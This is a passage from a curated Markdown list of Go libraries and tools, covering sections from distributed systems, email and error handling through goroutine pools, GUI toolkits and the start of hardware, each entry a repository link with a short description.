- [glow](https://github.com/chrislusf/glow) - Easy-to-Use scalable distributed big data processing, Map-Reduce, DAG execution, all in pure Go.
- [gmsec](https://github.com/gmsec/micro) - A Go distributed systems development framework.
- [go-doudou](https://github.com/unionj-cloud/go-doudou) - A gossip protocol and OpenAPI 3.0 spec based decentralized microservice framework. Built-in go-doudou cli focusing on low-code and rapid dev can power up your productivity.
- [go-health](https://github.com/InVisionApp/go-health) - Library for enabling asynchronous dependency health checks in your service.
- [go-jump](https://github.com/dgryski/go-jump) - Port of Google's "Jump" Consistent Hash function.
- [go-kit](https://github.com/go-kit/kit) - Microservice toolkit with support for service discovery, load balancing, pluggable transports, request tracking, etc.
- [go-micro](https://github.com/micro/go-micro) - A distributed systems development framework.
- [go-mysql-lock](https://github.com/sanketplus/go-mysql-lock) - MySQL based distributed lock.
- [go-pdu](https://github.com/pdupub/go-pdu) - A decentralized identity-based social network.
- [go-sundheit](https://github.com/AppsFlyer/go-sundheit) - A library built to provide support for defining async service health checks for golang services.
- [go-zero](https://github.com/tal-tech/go-zero) - A web and rpc framework. It's born to ensure the stability of the busy sites with resilient design. Builtin goctl greatly improves the development productivity.
- [gorpc](https://github.com/valyala/gorpc) - Simple, fast and scalable RPC library for high load.
- [grpc-go](https://github.com/grpc/grpc-go) - The Go language implementation of gRPC. HTTP/2 based RPC.
- [hprose](https://github.com/hprose/hprose-golang) - Very newbility RPC Library, support 25+ languages now.
- [jsonrpc](https://github.com/osamingo/jsonrpc) - The jsonrpc package helps implement of JSON-RPC 2.0.
- [jsonrpc](https://github.com/ybbus/jsonrpc) - JSON-RPC 2.0 HTTP client implementation.
- [Kitex](https://github.com/cloudwego/kitex) - A high-performance and strong-extensibility Golang RPC framework that helps developers build microservices. If the performance and extensibility are the main concerns when you develop microservices, Kitex can be a good choice.
- [Kratos](https://github.com/go-kratos/kratos) - A modular-designed and easy-to-use microservices framework in Go.
- [liftbridge](https://github.com/liftbridge-io/liftbridge) - Lightweight, fault-tolerant message streams for NATS.
- [lura](https://github.com/luraproject/lura) - Ultra performant API Gateway framework with middlewares.
- [micro](https://github.com/micro/micro) - A distributed systems runtime for the cloud and beyond.
- [NATS](https://github.com/nats-io/gnatsd) - Lightweight, high performance messaging system for microservices, IoT, and cloud native systems.
- [outboxer](https://github.com/italolelis/outboxer) - Outboxer is a go library that implements the outbox pattern.
- [pglock](https://cirello.io/pglock) - PostgreSQL-backed distributed locking implementation.
- [pjrpc](https://gitlab.com/pjrpc/pjrpc) - Golang JSON-RPC Server-Client with Protobuf spec.
- [raft](https://github.com/hashicorp/raft) - Golang implementation of the Raft consensus protocol, by HashiCorp.
- [raft](https://github.com/etcd-io/raft) - Go implementation of the Raft consensus protocol, by CoreOS.
- [rain](https://github.com/cenkalti/rain) - BitTorrent client and library.
- [redis-lock](https://github.com/bsm/redislock) - Simplified distributed locking implementation using Redis.
- [resgate](https://resgate.io/) - Realtime API Gateway for building REST, real time, and RPC APIs, where all clients are synchronized seamlessly.
- [ringpop-go](https://github.com/uber/ringpop-go) - Scalable, fault-tolerant application-layer sharding for Go applications.
- [rpcx](https://github.com/smallnest/rpcx) - Distributed pluggable RPC service framework like alibaba Dubbo.
- [Semaphore](https://github.com/jexia/semaphore) - A straightforward (micro) service orchestrator.
- [sleuth](https://github.com/ursiform/sleuth) - Library for master-less p2p auto-discovery and RPC between HTTP services (using [ZeroMQ](https://github.com/zeromq/libzmq)).
- [Temporal](https://github.com/temporalio/sdk-go) - Durable execution system for making code fault-tolerant and simple.
- [torrent](https://github.com/anacrolix/torrent) - BitTorrent client package.
**[⬆ back to top](#contents)**
## Dynamic DNS
_Tools for updating dynamic DNS records._
- [DDNS](https://github.com/skibish/ddns) - Personal DDNS client with Digital Ocean Networking DNS as backend.
- [dyndns](https://gitlab.com/alcastle/dyndns) - Background Go process to regularly and automatically check your IP Address and make updates to (one or many) Dynamic DNS records for Google domains whenever your address changes.
- [GoDNS](https://github.com/timothyye/godns) - A dynamic DNS client tool, supports DNSPod & HE.net, written in Go.
**[⬆ back to top](#contents)**
## Email
_Libraries and tools that implement email creation and sending._
- [chasquid](https://blitiri.com.ar/p/chasquid) - SMTP server written in Go.
- [douceur](https://github.com/aymerick/douceur) - CSS inliner for your HTML emails.
- [email](https://github.com/jordan-wright/email) - A robust and flexible email library for Go.
- [email-verifier](https://github.com/AfterShip/email-verifier) - A Go library for email verification without sending any emails.
- [go-dkim](https://github.com/toorop/go-dkim) - DKIM library, to sign & verify email.
- [go-email-normalizer](https://github.com/dimuska139/go-email-normalizer) - Golang library for providing a canonical representation of email address.
- [go-email-validator](https://github.com/go-email-validator/go-email-validator) - Modular email validator for syntax, disposable, smtp, etc... checking.
- [go-imap](https://github.com/emersion/go-imap) - IMAP library for clients and servers.
- [go-mail](https://github.com/wneessen/go-mail) - A simple Go library for sending mails in Go.
- [go-message](https://github.com/emersion/go-message) - Streaming library for the Internet Message Format and mail messages.
- [go-premailer](https://github.com/vanng822/go-premailer) - Inline styling for HTML mail in Go.
- [go-simple-mail](https://github.com/xhit/go-simple-mail) - Very simple package to send emails with SMTP Keep Alive and two timeouts: Connect and Send.
- [Hectane](https://github.com/hectane/hectane) - Lightweight SMTP client providing an HTTP API.
- [hermes](https://github.com/matcornic/hermes) - Golang package that generates clean, responsive HTML e-mails.
- [mailchain](https://github.com/mailchain/mailchain) - Send encrypted emails to blockchain addresses written in Go.
- [mailgun-go](https://github.com/mailgun/mailgun-go) - Go library for sending mail with the Mailgun API.
- [MailHog](https://github.com/mailhog/MailHog) - Email and SMTP testing with web and API interface.
- [Mailpit](https://github.com/axllent/mailpit) - Email and SMTP testing tool for developers.
- [mailx](https://github.com/valord577/mailx) - Mailx is a library that makes it easier to send email via SMTP. It is an enhancement of the golang standard library `net/smtp`.
- [SendGrid](https://github.com/sendgrid/sendgrid-go) - SendGrid's Go library for sending email.
- [smtp](https://github.com/mailhog/smtp) - SMTP server protocol state machine.
- [smtpmock](https://github.com/mocktools/go-smtp-mock) - Lightweight configurable multithreaded fake SMTP server. Mimic any SMTP behaviour for your test environment.
- [truemail-go](https://github.com/truemail-rb/truemail-go) - Configurable Golang email validator/verifier. Verify email via Regex, DNS, SMTP and even more.
**[⬆ back to top](#contents)**
## Embeddable Scripting Languages
_Embedding other languages inside your go code._
- [anko](https://github.com/mattn/anko) - Scriptable interpreter written in Go.
- [binder](https://github.com/alexeyco/binder) - Go to Lua binding library, based on [gopher-lua](https://github.com/yuin/gopher-lua).
- [cel-go](https://github.com/google/cel-go) - Fast, portable, non-Turing complete expression evaluation with gradual typing.
- [ecal](https://github.com/krotik/ecal) - A simple embeddable scripting language which supports concurrent event processing.
- [expr](https://github.com/antonmedv/expr) - Expression evaluation engine for Go: fast, non-Turing complete, dynamic typing, static typing.
- [gentee](https://github.com/gentee/gentee) - Embeddable scripting programming language.
- [gisp](https://github.com/jcla1/gisp) - Simple LISP in Go.
- [go-duktape](https://github.com/olebedev/go-duktape) - Duktape JavaScript engine bindings for Go.
- [go-lua](https://github.com/Shopify/go-lua) - Port of the Lua 5.2 VM to pure Go.
- [go-php](https://github.com/deuill/go-php) - PHP bindings for Go.
- [go-python](https://github.com/sbinet/go-python) - naive go bindings to the CPython C-API.
- [goja](https://github.com/dop251/goja) - ECMAScript 5.1(+) implementation in Go.
- [golua](https://github.com/aarzilli/golua) - Go bindings for Lua C API.
- [gopher-lua](https://github.com/yuin/gopher-lua) - Lua 5.1 VM and compiler written in Go.
- [gval](https://github.com/PaesslerAG/gval) - A highly customizable expression language written in Go.
- [metacall](https://github.com/metacall/core) - Cross-platform Polyglot Runtime which supports NodeJS, JavaScript, TypeScript, Python, Ruby, C#, WebAssembly, Java, Cobol and more.
- [ngaro](https://github.com/db47h/ngaro) - Embeddable Ngaro VM implementation enabling scripting in Retro.
- [prolog](https://github.com/ichiban/prolog) - Embeddable Prolog.
- [purl](https://github.com/ian-kent/purl) - Perl 5.18.2 embedded in Go.
- [starlark-go](https://github.com/google/starlark-go) - Go implementation of Starlark: Python-like language with deterministic evaluation and hermetic execution.
- [tengo](https://github.com/d5/tengo) - Bytecode compiled script language for Go.
**[⬆ back to top](#contents)**
## Error Handling
_Libraries for handling errors._
- [emperror](https://github.com/emperror/emperror) - Error handling tools and best practices for Go libraries and applications.
- [eris](https://github.com/rotisserie/eris) - A better way to handle, trace, and log errors in Go. Compatible with the standard error library and github.com/pkg/errors.
- [errlog](https://github.com/snwfdhmp/errlog) - Hackable package that determines responsible source code for an error (and some other fast-debugging features). Pluggable to any logger in-place.
- [errors](https://github.com/emperror/errors) - Drop-in replacement for the standard library errors package and github.com/pkg/errors. Provides various error handling primitives.
- [errors](https://github.com/pkg/errors) - Package that provides simple error handling primitives.
- [errors](https://github.com/neuronlabs/errors) - Simple golang error handling with classification primitives.
- [errors](https://github.com/PumpkinSeed/errors) - The most simple error wrapper with awesome performance and minimal memory overhead.
- [errors](https://github.com/bnkamalesh/errors) - Drop-in replacement for builtin Go errors. This is a minimal error handling package with custom error types, user friendly messages, Unwrap & Is. With very easy to use and straightforward helper functions.
- [errors](https://github.com/cockroachdb/errors) - Go error library with error portability over the network.
- [errorx](https://github.com/joomcode/errorx) - A feature rich error package with stack traces, composition of errors and more.
- [exception](https://github.com/rbrahul/exception) - A simple utility package for exception handling with try-catch in Golang.
- [Falcon](https://github.com/SonicRoshan/falcon) - A Simple Yet Highly Powerful Package For Error Handling.
- [Fault](https://github.com/Southclaws/fault) - An ergonomic mechanism for wrapping errors in order to facilitate structured metadata and context for error values.
- [go-multierror](https://github.com/hashicorp/go-multierror) - Go (golang) package for representing a list of errors as a single error.
- [oops](https://github.com/samber/oops) - Error handling with context, stack trace and source fragments.
- [tracerr](https://github.com/ztrue/tracerr) - Golang errors with stack trace and source fragments.
**[⬆ back to top](#contents)**
## File Handling
_Libraries for handling files and file systems._
- [afero](https://github.com/spf13/afero) - FileSystem Abstraction System for Go.
- [afs](https://github.com/viant/afs) - Abstract File Storage (mem, scp, zip, tar, cloud: s3, gs) for Go.
- [baraka](https://github.com/xis/baraka) - A library to process http file uploads easily.
- [bigfile](https://github.com/bigfile/bigfile) - A file transfer system, support to manage files with http api, rpc call and ftp client.
- [checksum](https://github.com/codingsince1985/checksum) - Compute message digest, like MD5, SHA256, SHA1, CRC or BLAKE2s, for large files.
- [copy](https://github.com/otiai10/copy) - Copy directory recursively.
- [flop](https://github.com/homedepot/flop) - File operations library which aims to mirror feature parity with [GNU cp](https://www.gnu.org/software/coreutils/manual/html_node/cp-invocation.html).
- [gdu](https://github.com/dundee/gdu) - Disk usage analyzer with console interface.
- [go-csv-tag](https://github.com/artonge/go-csv-tag) - Load csv file using tag.
- [go-decent-copy](https://github.com/hugocarreira/go-decent-copy) - Copy files for humans.
- [go-exiftool](https://github.com/barasher/go-exiftool) - Go bindings for ExifTool, the well-known library used to extract as much metadata as possible (EXIF, IPTC, ...) from files (pictures, PDF, office, ...).
- [go-gtfs](https://github.com/artonge/go-gtfs) - Load gtfs files in go.
- [gofs](https://github.com/no-src/gofs) - A cross-platform real-time file synchronization tool out of the box.
- [gut/yos](https://github.com/1set/gut) - Simple and reliable package for file operations like copy/move/diff/list on files, directories and symbolic links.
- [higgs](https://github.com/dastoori/higgs) - A tiny cross-platform Go library to hide/unhide files and directories.
- [notify](https://github.com/rjeczalik/notify) - File system event notification library with simple API, similar to os/signal.
- [opc](https://github.com/qmuntal/opc) - Load Open Packaging Conventions (OPC) files for Go.
- [parquet](https://github.com/parsyl/parquet) - Read and write [parquet](https://parquet.apache.org) files.
- [pathtype](https://github.com/jonchun/pathtype) - Treat paths as their own type instead of using strings.
- [pdfcpu](https://github.com/pdfcpu/pdfcpu) - PDF processor.
- [skywalker](https://github.com/dixonwille/skywalker) - Package to allow one to concurrently go through a filesystem with ease.
- [stl](https://gitlab.com/russoj88/stl) - Modules to read and write STL (stereolithography) files. Concurrent algorithm for reading.
- [tarfs](https://github.com/posener/tarfs) - Implementation of the [`FileSystem` interface](https://godoc.org/github.com/kr/fs#FileSystem) for tar files.
- [todotxt](https://github.com/1set/todotxt) - Go library for Gina Trapani's [_todo.txt_](http://todotxt.org/) files, supports parsing and manipulating of task lists in the [_todo.txt_ format](https://github.com/todotxt/todo.txt).
- [vfs](https://github.com/C2FO/vfs) - A pluggable, extensible, and opinionated set of filesystem functionality for Go across a number of filesystem types such as os, S3, and GCS.
**[⬆ back to top](#contents)**
## Financial
_Packages for accounting and finance._
- [accounting](https://github.com/leekchan/accounting) - money and currency formatting for golang.
- [ach](https://github.com/moov-io/ach) - A reader, writer, and validator for Automated Clearing House (ACH) files.
- [bbgo](https://github.com/c9s/bbgo) - A crypto trading bot framework written in Go. Including common crypto exchange API, standard indicators, back-testing and many built-in strategies.
- [currency](https://github.com/bojanz/currency) - Handles currency amounts, provides currency information and formatting.
- [currency](https://github.com/bnkamalesh/currency) - High performant & accurate currency computation package.
- [decimal](https://github.com/shopspring/decimal) - Arbitrary-precision fixed-point decimal numbers.
- [fpdecimal](https://github.com/nikolaydubina/fpdecimal) - Fast and precise serialization and arithmetic for small fixed-point decimals
- [fpmoney](https://github.com/nikolaydubina/fpmoney) - Fast and simple ISO4217 fixed-point decimal money.
- [go-finance](https://github.com/alpeb/go-finance) - Library of financial functions for time value of money (annuities), cash flow, interest rate conversions, bonds and depreciation calculations.
- [go-finance](https://github.com/pieterclaerhout/go-finance) - Module to fetch exchange rates, check VAT numbers via VIES and check IBAN bank account numbers.
- [go-finnhub](https://github.com/m1/go-finnhub) - Client for stock market, forex and crypto data from finnhub.io. Access real-time financial market data from 60+ stock exchanges, 10 forex brokers, and 15+ crypto exchanges.
- [go-money](https://github.com/rhymond/go-money) - Implementation of Fowler's Money pattern.
- [ofxgo](https://github.com/aclindsa/ofxgo) - Query OFX servers and/or parse the responses (with example command-line client).
- [orderbook](https://github.com/i25959341/orderbook) - Matching Engine for Limit Order Book in Golang.
- [payme](https://github.com/jovandeginste/payme) - QR code generator (ASCII & PNG) for SEPA payments.
- [sleet](https://github.com/BoltApp/sleet) - One unified interface for multiple Payment Service Providers (PsP) to process online payment.
- [techan](https://github.com/sdcoffey/techan) - Technical analysis library with advanced market analysis and trading strategies.
- [ticker](https://github.com/achannarasappa/ticker) - Terminal stock watcher and stock position tracker.
- [transaction](https://github.com/claygod/transaction) - Embedded transactional database of accounts, running in multithreaded mode.
- [vat](https://github.com/dannyvankooten/vat) - VAT number validation & EU VAT rates.
**[⬆ back to top](#contents)**
## Forms
_Libraries for working with forms._
- [bind](https://github.com/robfig/bind) - Bind form data to any Go values.
- [binding](https://github.com/mholt/binding) - Binds form and JSON data from net/http Request to struct.
- [conform](https://github.com/leebenson/conform) - Keeps user input in check. Trims, sanitizes & scrubs data based on struct tags.
- [form](https://github.com/go-playground/form) - Decodes url.Values into Go value(s) and Encodes Go value(s) into url.Values. Dual Array and Full map support.
- [formam](https://github.com/monoculum/formam) - decode form's values into a struct.
- [forms](https://github.com/albrow/forms) - Framework-agnostic library for parsing and validating form/JSON data which supports multipart forms and files.
- [gbind](https://github.com/bdjimmy/gbind) - Bind data to any Go value. Can use built-in and custom expression binding capabilities; supports data validation
- [gorilla/csrf](https://github.com/gorilla/csrf) - CSRF protection for Go web applications & services.
- [httpin](https://github.com/ggicci/httpin) - Decode an HTTP request into a custom struct, including querystring, forms, HTTP headers, etc.
- [nosurf](https://github.com/justinas/nosurf) - CSRF protection middleware for Go.
- [qs](https://github.com/sonh/qs) - Go module for encoding structs into URL query parameters.
- [queryparam](https://github.com/tomwright/queryparam) - Decode `url.Values` into usable struct values of standard or custom types.
**[⬆ back to top](#contents)**
## Functional
_Packages to support functional programming in Go._
- [fp-go](https://github.com/repeale/fp-go) - Collection of Functional Programming helpers powered by Golang 1.18+ generics.
- [fpGo](https://github.com/TeaEntityLab/fpGo) - Monad, Functional Programming features for Golang.
- [fuego](https://github.com/seborama/fuego) - Functional Experiment in Go.
- [go-functional](https://github.com/BooleanCat/go-functional) - Functional programming in Go using generics
- [go-underscore](https://github.com/tobyhede/go-underscore) - Useful collection of helpfully functional Go collection utilities.
- [gofp](https://github.com/rbrahul/gofp) - A lodash like powerful utility library for Golang.
- [mo](https://github.com/samber/mo) - Monads and popular FP abstractions, based on Go 1.18+ Generics (Option, Result, Either...).
- [underscore](https://github.com/rjNemo/underscore) - Functional programming helpers for Go 1.18 and beyond.
- [valor](https://github.com/phelmkamp/valor) - Generic option and result types that optionally contain a value.
**[⬆ back to top](#contents)**
## Game Development
_Awesome game development libraries._
- [Azul3D](https://github.com/azul3d/engine) - 3D game engine written in Go.
- [Ebitengine](https://github.com/hajimehoshi/ebiten) - dead simple 2D game engine in Go.
- [engo](https://github.com/EngoEngine/engo) - Engo is an open-source 2D game engine written in Go. It follows the Entity-Component-System paradigm.
- [fantasyname](https://github.com/s0rg/fantasyname) - Fantasy names generator.
- [g3n](https://github.com/g3n/engine) - Go 3D Game Engine.
- [go-astar](https://github.com/beefsack/go-astar) - Go implementation of the A\* path finding algorithm.
- [go-sdl2](https://github.com/veandco/go-sdl2) - Go bindings for the [Simple DirectMedia Layer](https://www.libsdl.org/).
- [go3d](https://github.com/ungerik/go3d) - Performance oriented 2D/3D math package for Go.
- [gonet](https://github.com/xtaci/gonet) - Game server skeleton implemented with golang.
- [goworld](https://github.com/xiaonanln/goworld) - Scalable game server engine, featuring space-entity framework and hot-swapping.
- [Harfang3D](https://github.com/harfang3d/harfang3d) - 3D engine for the Go language, works on Windows and Linux ([Harfang on Go.dev](https://github.com/harfang3d/harfang-go)).
- [Leaf](https://github.com/name5566/leaf) - Lightweight game server framework.
- [nano](https://github.com/lonng/nano) - Lightweight, facility, high performance golang based game server framework.
- [Oak](https://github.com/oakmound/oak) - Pure Go game engine.
- [Pitaya](https://github.com/topfreegames/pitaya) - Scalable game server framework with clustering support and client libraries for iOS, Android, Unity and others through the C SDK.
- [Pixel](https://github.com/faiface/pixel) - Hand-crafted 2D game library in Go.
- [prototype](https://github.com/gonutz/prototype) - Cross-platform (Windows/Linux/Mac) library for creating desktop games using a minimal API.
- [raylib-go](https://github.com/gen2brain/raylib-go) - Go bindings for [raylib](https://www.raylib.com/), a simple and easy-to-use library to learn videogames programming.
- [termloop](https://github.com/JoelOtter/termloop) - Terminal-based game engine for Go, built on top of Termbox.
- [tile](https://github.com/kelindar/tile) - Data-oriented and cache-friendly 2D Grid library (TileMap), includes pathfinding, observers and import/export.
**[⬆ back to top](#contents)**
## Generators
_Tools that generate Go code._
- [convergen](https://github.com/reedom/convergen) - Feature rich type-to-type copy code generator.
- [copygen](https://github.com/switchupcb/copygen) - Generate type-to-type and type-based code without reflection.
- [generis](https://github.com/senselogic/GENERIS) - Code generation tool providing generics, free-form macros, conditional compilation and HTML templating.
- [go-enum](https://github.com/abice/go-enum) - Code generation for enums from code comments.
- [go-linq](https://github.com/ahmetalpbalkan/go-linq) - .NET LINQ-like query methods for Go.
- [goderive](https://github.com/awalterschulze/goderive) - Derives functions from input types.
- [gotype](https://github.com/wzshiming/gotype) - Golang source code parsing, usage like reflect package.
- [goverter](https://github.com/jmattheis/goverter) - Generate converters by defining an interface.
- [GoWrap](https://github.com/hexdigest/gowrap) - Generate decorators for Go interfaces using simple templates.
- [interfaces](https://github.com/rjeczalik/interfaces) - Command line tool for generating interface definitions.
- [jennifer](https://github.com/dave/jennifer) - Generate arbitrary Go code without templates.
- [typeregistry](https://github.com/xiaoxin01/typeregistry) - A library to create type dynamically.
**[⬆ back to top](#contents)**
## Geographic
_Geographic tools and servers_
- [geoserver](https://github.com/hishamkaram/geoserver) - geoserver Is a Go Package For Manipulating a GeoServer Instance via the GeoServer REST API.
- [gismanager](https://github.com/hishamkaram/gismanager) - Publish Your GIS Data(Vector Data) to PostGIS and Geoserver.
- [godal](https://github.com/airbusgeo/godal) - Go wrapper for GDAL.
- [H3](https://github.com/uber/h3-go) - Go bindings for H3, a hierarchical hexagonal geospatial indexing system.
- [H3 GeoJSON](https://github.com/mmadfox/go-geojson2h3) - Conversion utilities between H3 indexes and GeoJSON.
- [H3GeoDist](https://github.com/mmadfox/go-h3geo-dist) - Distribution of Uber H3geo cells by virtual nodes.
- [mbtileserver](https://github.com/consbio/mbtileserver) - A simple Go-based server for map tiles stored in mbtiles format.
- [osm](https://github.com/paulmach/osm) - Library for reading, writing and working with OpenStreetMap data and APIs.
- [pbf](https://github.com/maguro/pbf) - OpenStreetMap PBF golang encoder/decoder.
- [S2 geojson](https://github.com/pantrif/s2-geojson) - Convert geojson to s2 cells & demonstrating some S2 geometry features on map.
- [S2 geometry](https://github.com/golang/geo) - S2 geometry library in Go.
- [simplefeatures](https://github.com/peterstace/simplefeatures) - simplesfeatures is a 2D geometry library that provides Go types that model geometries, as well as algorithms that operate on them.
- [Tile38](https://github.com/tidwall/tile38) - Geolocation DB with spatial index and realtime geofencing.
- [Web-Mercator-Projection](https://github.com/jorelosorio/web-mercator-projection) A project to easily use and convert LonLat, Point and Tile to display info, markers, etc, in a map using the Web Mercator Projection.
- [WGS84](https://github.com/wroge/wgs84) - Library for Coordinate Conversion and Transformation (ETRS89, OSGB36, NAD83, RGF93, Web Mercator, UTM).
**[⬆ back to top](#contents)**
## Go Compilers
_Tools for compiling Go to other languages._
- [c2go](https://github.com/goplus/c2go) - Convert C code to Go code.
- [c4go](https://github.com/Konstantin8105/c4go) - Transpile C code to Go code.
- [esp32](https://github.com/andygeiss/esp32-transpiler) - Transpile Go into Arduino code.
- [f4go](https://github.com/Konstantin8105/f4go) - Transpile FORTRAN 77 code to Go code.
- [gopherjs](https://github.com/gopherjs/gopherjs) - Compiler from Go to JavaScript.
- [tardisgo](https://github.com/tardisgo/tardisgo) - Golang to Haxe to CPP/CSharp/Java/JavaScript transpiler.
**[⬆ back to top](#contents)**
## Goroutines
_Tools for managing and working with Goroutines._
- [ants](https://github.com/panjf2000/ants) - A high-performance and low-cost goroutine pool in Go.
- [artifex](https://github.com/borderstech/artifex) - Simple in-memory job queue for Golang using worker-based dispatching.
- [async](https://github.com/reugn/async) - An alternative sync library for Go (Future, Promise, Locks).
- [async](https://github.com/studiosol/async) - A safe way to execute functions asynchronously, recovering them in case of panic.
- [async-job](https://github.com/lab210-dev/async-job) - AsyncJob is an asynchronous queue job manager with light code, clear and speed.
- [breaker](https://github.com/kamilsk/breaker) - Flexible mechanism to make execution flow interruptible.
- [channelify](https://github.com/ddelizia/channelify) - Transform your function to return channels for easy and powerful parallel processing.
- [conc](https://github.com/sourcegraph/conc) - `conc` is your toolbelt for structured concurrency in go, making common tasks easier and safer.
- [concurrency-limiter](https://github.com/vivek-ng/concurrency-limiter) - Concurrency limiter with support for timeouts , dynamic priority and context cancellation of goroutines.
- [conexec](https://github.com/ITcathyh/conexec) - A concurrent toolkit to help execute funcs concurrently in an efficient and safe way. It supports specifying the overall timeout to avoid blocking and uses goroutine pool to improve efficiency.
- [cyclicbarrier](https://github.com/marusama/cyclicbarrier) - CyclicBarrier for golang.
- [execpool](https://github.com/hexdigest/execpool) - A pool built around exec.Cmd that spins up a given number of processes in advance and attaches stdin and stdout to them when needed. Very similar to FastCGI or Apache Prefork MPM but works for any command.
- [flowmatic](https://github.com/carlmjohnson/flowmatic) - Structured concurrency made easy.
- [go-actor](https://github.com/vladopajic/go-actor) - A tiny library for writing concurrent programs using actor model.
- [go-floc](https://github.com/workanator/go-floc) - Orchestrate goroutines with ease.
- [go-flow](https://github.com/kamildrazkiewicz/go-flow) - Control goroutines execution order.
- [go-tools/multithreading](https://github.com/nikhilsaraf/go-tools) - Manage a pool of goroutines using this lightweight library with a simple API.
- [go-trylock](https://github.com/subchen/go-trylock) - TryLock support on read-write lock for Golang.
- [go-waitgroup](https://github.com/pieterclaerhout/go-waitgroup) - Like `sync.WaitGroup` with error handling and concurrency control.
- [go-workerpool](https://github.com/zenthangplus/go-workerpool) - Inspired from Java Thread Pool, Go WorkerPool aims to control heavy Go Routines.
- [go-workers](https://github.com/catmullet/go-workers) - Easily and safely run workers for large data processing pipelines.
- [goccm](https://github.com/zenthangplus/goccm) - Go Concurrency Manager package limits the number of goroutines that allowed to run concurrently.
- [gohive](https://github.com/loveleshsharma/gohive) - A highly performant and easy to use Goroutine pool for Go.
- [gollback](https://github.com/vardius/gollback) - asynchronous simple function utilities, for managing execution of closures and callbacks.
- [gowl](https://github.com/hamed-yousefi/gowl) - Gowl is a process management and process monitoring tool at once. An infinite worker pool gives you the ability to control the pool and processes and monitor their status.
- [goworker](https://github.com/benmanns/goworker) - goworker is a Go-based background worker.
- [gowp](https://github.com/xxjwxc/gowp) - gowp is concurrency limiting goroutine pool.
- [gpool](https://github.com/Sherifabdlnaby/gpool) - manages a resizeable pool of context-aware goroutines to bound concurrency.
- [grpool](https://github.com/ivpusic/grpool) - Lightweight Goroutine pool.
- [hands](https://github.com/duanckham/hands) - A process controller used to control the execution and return strategies of multiple goroutines.
- [Hunch](https://github.com/AaronJan/Hunch) - Hunch provides functions like: `All`, `First`, `Retry`, `Waterfall` etc., that makes asynchronous flow control more intuitive.
- [kyoo](https://github.com/dirkaholic/kyoo) - Provides an unlimited job queue and concurrent worker pools.
- [neilotoole/errgroup](https://github.com/neilotoole/errgroup) - Drop-in alternative to `sync/errgroup`, limited to a pool of N worker goroutines.
- [nursery](https://github.com/arunsworld/nursery) - Structured concurrency in Go.
- [oversight](https://cirello.io/oversight) - Oversight is a complete implementation of the Erlang supervision trees.
- [parallel-fn](https://github.com/rafaeljesus/parallel-fn) - Run functions in parallel.
- [pond](https://github.com/alitto/pond) - Minimalistic and High-performance goroutine worker pool written in Go.
- [pool](https://github.com/go-playground/pool) - Limited consumer goroutine or unlimited goroutine pool for easier goroutine handling and cancellation.
- [queue](https://github.com/AnikHasibul/queue) - Gives you a `sync.WaitGroup` like queue group accessibility. Helps you to throttle and limit goroutines, wait for the end of the all goroutines and much more.
- [routine](https://github.com/timandy/routine) - `routine` is a `ThreadLocal` for go library. It encapsulates and provides some easy-to-use, non-competitive, high-performance `goroutine` context access interfaces, which can help you access coroutine context information more gracefully.
- [routine](https://github.com/x-mod/routine) - go routine control with context, support: Main, Go, Pool and some useful Executors.
- [semaphore](https://github.com/kamilsk/semaphore) - Semaphore pattern implementation with timeout of lock/unlock operations based on channel and context.
- [semaphore](https://github.com/marusama/semaphore) - Fast resizable semaphore implementation based on CAS (faster than channel-based semaphore implementations).
- [stl](https://github.com/ssgreg/stl) - Software transactional locks based on Software Transactional Memory (STM) concurrency control mechanism.
- [threadpool](https://github.com/shettyh/threadpool) - Golang threadpool implementation.
- [tunny](https://github.com/Jeffail/tunny) - Goroutine pool for golang.
- [worker-pool](https://github.com/vardius/worker-pool) - goworker is a Go simple async worker pool.
- [workerpool](https://github.com/gammazero/workerpool) - Goroutine pool that limits the concurrency of task execution, not the number of tasks queued.
**[⬆ back to top](#contents)**
## GUI
_Libraries for building GUI Applications._
_Toolkits_
- [app](https://github.com/murlokswarm/app) - Package to create apps with GO, HTML and CSS. Supports: MacOS, Windows in progress.
- [fyne](https://github.com/fyne-io/fyne) - Cross platform native GUIs designed for Go based on Material Design. Supports: Linux, macOS, Windows, BSD, iOS and Android.
- [gio](https://gioui.org) - Gio is a library for writing cross-platform immediate mode GUI-s in Go. Gio supports all the major platforms: Linux, macOS, Windows, Android, iOS, FreeBSD, OpenBSD and WebAssembly.
- [go-astilectron](https://github.com/asticode/go-astilectron) - Build cross platform GUI apps with GO and HTML/JS/CSS (powered by Electron).
- [go-gtk](https://mattn.github.io/go-gtk/) - Go bindings for GTK.
- [go-sciter](https://github.com/sciter-sdk/go-sciter) - Go bindings for Sciter: the Embeddable HTML/CSS/script engine for modern desktop UI development. Cross platform.
- [goradd/html5tag](https://github.com/goradd/html5tag) - Library for outputting HTML5 tags.
- [gotk3](https://github.com/gotk3/gotk3) - Go bindings for GTK3.
- [gowd](https://github.com/dtylman/gowd) - Rapid and simple desktop UI development with GO, HTML, CSS and NW.js. Cross platform.
- [qt](https://github.com/therecipe/qt) - Qt binding for Go (support for Windows / macOS / Linux / Android / iOS / Sailfish OS / Raspberry Pi).
- [ui](https://github.com/andlabs/ui) - Platform-native GUI library for Go. Cross platform.
- [Wails](https://wails.io) - Mac, Windows, Linux desktop apps with HTML UI using built-in OS HTML renderer.
- [walk](https://github.com/lxn/walk) - Windows application library kit for Go.
- [webview](https://github.com/zserge/webview) - Cross-platform webview window with simple two-way JavaScript bindings (Windows / macOS / Linux).
_Interaction_
- [AppIndicator Go](https://github.com/gopherlibs/appindicator) - Go bindings for libappindicator3 C library.
- [gosx-notifier](https://github.com/deckarep/gosx-notifier) - OSX Desktop Notifications library for Go.
- [mac-activity-tracker](https://github.com/prashantgupta24/activity-tracker) - OSX library to notify about any (pluggable) activity on your machine.
- [mac-sleep-notifier](https://github.com/prashantgupta24/mac-sleep-notifier) - OSX Sleep/Wake notifications in golang.
- [robotgo](https://github.com/go-vgo/robotgo) - Go Native cross-platform GUI system automation. Control the mouse, keyboard and other.
- [systray](https://github.com/getlantern/systray) - Cross platform Go library to place an icon and menu in the notification area.
- [trayhost](https://github.com/shurcooL/trayhost) - Cross-platform Go library to place an icon in the host operating system's taskbar.
- [zenity](https://github.com/ncruces/zenity) - Cross-platform Go library and CLI to create simple dialogs that interact graphically with the user.
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## Hardware
_Libraries, tools, and tutorials for interacting with hardware._
- [arduino-cli](https://github.com/arduino/arduino-cli) - Official Arduino CLI and library. Can run standalone, or be incorporated into larger Go projects.
- [emgo](https://github.com/ziutek/emgo) - Go-like language for programming embedded systems (e.g. STM32 MCU).
- [ghw](https://github.com/jaypipes/ghw) - Golang hardware discovery/inspection library.
